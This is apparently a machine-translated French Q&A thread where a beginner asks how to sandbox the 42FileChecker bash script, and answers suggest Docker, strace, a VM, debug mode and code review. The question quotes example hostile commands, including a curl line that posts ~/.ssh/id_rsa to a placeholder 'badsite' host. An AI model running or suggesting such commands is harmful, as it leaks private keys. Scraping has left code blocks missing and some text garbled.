Je voudrais installer un certain script bash appelé 42FileChecker en utilisant les commandes:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Mais je ne sais pas si 42FileChecker.sh fera des choses étranges sur mon PC car je suis un débutant et je ne sais pas ce qui se passe dans ce script. Existe-t-il un moyen de l'exécuter dans un terminal factice ou un dossier racine factice ou quelque chose comme ça pour voir ce qui se passe afin que j'évite quelque chose de fou comme le formatage de mes disques. J'aimerais également savoir comment tester les shells pour les futurs scripts de shell, même si 42FileChecker.sh est sûr.
man
pages des commandes qu'il contient.chmod 777 -R ~
oucurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
ou similaires.Réponses:
Je ne suis pas un expert dans ce domaine, mais je recommanderais d'utiliser
strace
etdocker
.Donc, créez d'abord un conteneur Docker selon les instructions de cette réponse . Mais l'ajout étant que strace vous dira quels appels système sont effectués. Ou pour citer:
Vous pouvez combiner ces commandes pour
la source
Si vous n'êtes pas sûr de ce que fait un script, il vaut mieux ne pas l'exécuter tant que vous n'êtes pas sûr de ce qu'il fait. Les moyens de réduire le rayon de dégâts d'un mauvais script incluent son exécution avec un nouvel utilisateur, son exécution dans un conteneur ou son exécution sur une machine virtuelle. Mais cette première affirmation est toujours valable: si vous n'êtes pas sûr de ce que fait quelque chose, pensez à ne pas l'exécuter avant de le faire.
la source
Comme l'a dit @ctt, c'est probablement une bonne idée de l'exécuter d'abord dans un bac à sable. L'utilisation d'une machine virtuelle est probablement la solution la plus simple. Le multipass est assez simple.
Installez multipass (en supposant que vous ne l'avez pas déjà fait):
Faites tourner une nouvelle machine virtuelle:
Connectez-vous à votre nouvelle VM:
Exécutez ensuite votre script (dans votre VM):
la source
Comme l'école que vous fréquentez a publié les scripts, le meilleur endroit pour exprimer vos préoccupations est avec vos instructeurs.
Cela dit, nous pouvons vous aider à déchiffrer le code ligne par ligne. Il est probablement impossible pour quiconque ici d'analyser tout le code.
Vous avez en fait 40 scripts bash avec un total de 5 360 lignes. Je les ai combinés ensemble et j'ai cherché des commandes bash / shell qui pourraient être utilisées abusivement. Ils semblent tous être utilisés normalement :
rm -rf /
commande pour effacer toute la partition du disque dur.sudo
à utiliser pour exécuter le script.C
fonctions autorisées sont utilisées dans les fichiers vérifiés.github
page.42FileChecker
semble sûr à utiliser.Ce ne sont pas des scripts bash lisibles par l'homme dont vous devez vous inquiéter autant. Ce sont des objets binaires compilés que vous ne pouvez pas lire qui sont préoccupants. Par exemple, un programme appelé "shiny-bouncy-sphere" pourrait peindre quelque chose comme ça sur votre écran, mais en arrière-plan, il pourrait effacer tous vos fichiers.
Réponse originale
Il est préférable de demander à l'auteur du script ce qu'il fait. En effet, vous pouvez presque poster votre question textuellement comme elle apparaît ci-dessus.
Demandez également à l'auteur:
Et toutes les autres bonnes questions auxquelles vous pouvez penser.
Edit 1 - Inquiétudes à propos d'un auteur malveillant.
Vous ne devez utiliser un logiciel qu'avec de nombreuses bonnes critiques publiques. Alternativement, les auteurs auxquels vous faites confiance ici dans Ask Ubuntu comme Serge, Jacob, Colin King, etc. D'autres sites respectés comme Ask Ubuntu et leurs membres respectés devraient également être considérés comme "non malveillants".
L'avantage des "auteurs respectés" ici dans Ask Ubuntu est qu'ils jettent leur estime de soi sur des "points de réputation". S'ils devaient écrire intentionnellement du code qui "volait" ou "endommageait" des données, ils perdraient rapidement leur réputation. En effet, les auteurs pourraient subir la «colère des mods» et être suspendus et / ou se voir retirer 10 000 points de réputation.
Edit 2 - Ne suivez pas toutes les instructions
J'ai approfondi les instructions de votre script bash:
La méthode "sûre" consiste à exécuter uniquement la première ligne:
Cela télécharge les scripts mais ne les exécute pas. Utilisez ensuite
nautilus
(gestionnaire de fichiers) pour inspecter les répertoires et fichiers installés. Très vite vous découvrez qu'il existe une collection de scripts bash écrits par un groupe d'étudiants en France.Le but des scripts est de compiler et de tester des programmes C pour les fonctions incorrectes et les fuites de mémoire.
la source
~/42FileChecker/includes/display/display_credits.sh
travail des États norminette est une dépendance:norminette (42 born2code) http://www.42.fr
. J'ai lu cela hier soir et c'est pourquoi j'ai écrit que c'était une école (école) en France qui a publié 42FileChecker . D'après ce que j'ai parcouru du code jusqu'à présent, je ne me soucierais pas de l'exécuter. De plus, il a très peu d'erreurs de syntaxe signalées,shellcheck
ce qui est surprenant pour un script bash de 5 360 lignes. De nombreux scripts bash publiés par des professionnels comportent de nombreuses erreurs de syntaxe.Vous pouvez utiliser Docker. Les conteneurs Docker sont isolés du système d'exploitation hôte, de sorte que toute activité malveillante restera dans un conteneur, tant que vous ne le laissez pas spécifiquement en redirigeant des ports ou en montant des systèmes de fichiers.
Pour installer docker:
Pour télécharger un nouveau conteneur Ubuntu Bionic:
Après cela, connectez-vous au conteneur
et effectuer l'opération douteuse en elle:
la source
docker diff
pour afficher les modifications apportées au système de fichiers depuis le lancement du conteneur. L'inconvénient de l'utilisation de Docker est que le conteneur n'est pas une copie complète du système hôte. L'image Ubuntu que vous mentionnez ici ne contient qu'une installation minimale d'Ubuntu.docker run ubuntu
vous devez exécuterdocker run -it ubuntu:bionic
le-it
vous donne un terminal interactif dans le conteneur etbionic
exécute réellement la version que vous souhaitez au lieu de la valeur par défautlatest
.--memory
,--network
et peut - être d' autres pour verrouiller vraiment sur le script.Envisagez d'utiliser le mode de débogage en exécutant le script en tant que:
Autres informations utiles sur Bash
Le mode de débogage n'empêchera pas le script de faire quelque chose de mal, mais il vous permettra de parcourir le script ligne par ligne et d'examiner les effets. Vous pouvez également vérifier le script pour certaines erreurs et / ou exploits potentiels courants, par exemple rechercher les scripts pour toute occurrence de
rm
et regarder ces commandes de très près. Un grand nombre de ces outils ont une aide intégré pour les essayer, par exemple rm ne supprimera pas un répertoire par défaut, il a besoin de la-r
,-R
ou--recursive
possibilité de le faire.Il peut même y avoir des outils de type antivirus qui rechercheraient un script bash pour ces modèles, mais je n'en connais pas de nom. Vos exemples de scripts sont en quelque sorte extra sifflants, dans le sens où ils téléchargent d'autres outils, donc chacun d'entre eux doit également être examiné. Il peut également être utile de vérifier quels serveurs ils contactent.
la source
Les informations pertinentes pour fournir une réponse ne se trouvent malheureusement que dans un de vos commentaires:
La situation est donc qu'en pratique, vous avez la possibilité de sauter le cours, ou vous pouvez exécuter le script pour effectuer des vérifications normatives sur vos sources. Parler avec votre instructeur n'est guère une option, en raison du manque de la première (ce ne serait pas une option sinon de toute façon, aucune école ne changera sa procédure parce qu'un élève n'est pas satisfait).
La question de savoir quoi faire pour limiter les dommages possibles de ce script ne se pose donc même pas. Ce n'est pas un script aléatoire qu'une fille excitée aux gros seins vous a envoyé par e-mail et que vous devez exécuter pour voir sa photo .
Vous faites un cours de programmation. Cetteest l'endroit où ce script est entré en jeu. La question est de savoir si vous souhaitez ou non respecter les conditions du cadre pour réussir le cours.
Cependant, si vous êtes vraiment inquiet, il y a toujours la possibilité d'exécuter le script dans un conteneur ou une machine virtuelle, et de placer vos sources dans un dossier partagé, ou sur un partage réseau exposé par le conteneur / la machine virtuelle. C'est à peu près le chemin de la paranoïa complète, mais là encore, la virtualisation n'est pas vraiment compliquée de nos jours, donc cela ne coûte pas cher.
Sauf la possibilité improbable qu'un exploit vraiment dur soit contenu dans ce script, la connexion en tant qu'utilisateur non root (que vous n'avez guère le choix de faire autrement sur Ubuntu) et éviter de taper
sudo
sans raison évidente empêche à peu près 99% des toutes les mauvaises choses qui pourraient arriver de toute façon. Tels que le formatage du disque dur, qui vous inquiète. Un utilisateur normal ne peut tout simplement pas faire cela. La pire chose qui puisse arriver est que le script efface le répertoire personnel de l'utilisateur. Alors quoi, pas de problème, vraiment.la source
sudo
est nécessaire d'exécuter le script. +1sudo
ne limite que la portée de la suppression / mise en forme accidentelle due à des bogues. Si le script était malveillant ou exploitable, son exécutionsudo
sur un système mono-utilisateur ne fait aucune différence essentielle.42FileChecker
donc je ne peux pas vraiment dire sisudo
c'est nécessaire ou non. Le script bash ne vérifie pas sudo et ne vous dit pas de l'utiliser cependant. Il semblerait alors que cesudo
n'est pas nécessaire. Encore une fois, je pense que demander à votre instructeur (enseignant) est la meilleure politique. J'ai mis à jour ma réponse il y a une heure avec une petite analyse du script. Notez que le nom "mynorminette
" est réapparu dans le code.42FileChecker
. Je pense que parler aux instructeurs vous rassurera. Après quelques heures d'enquête, j'ai confiance dans les programmeurs et leurs créations. Jean-Michel Gigault a même sa photo sur github. Tout un testament de confiance dans une terre où poussent les graines de Yellow Vest. Viva La France! (et Ecole 42 :)) Rendez-nous service et rendez-vous pour faire le point sur les progrès.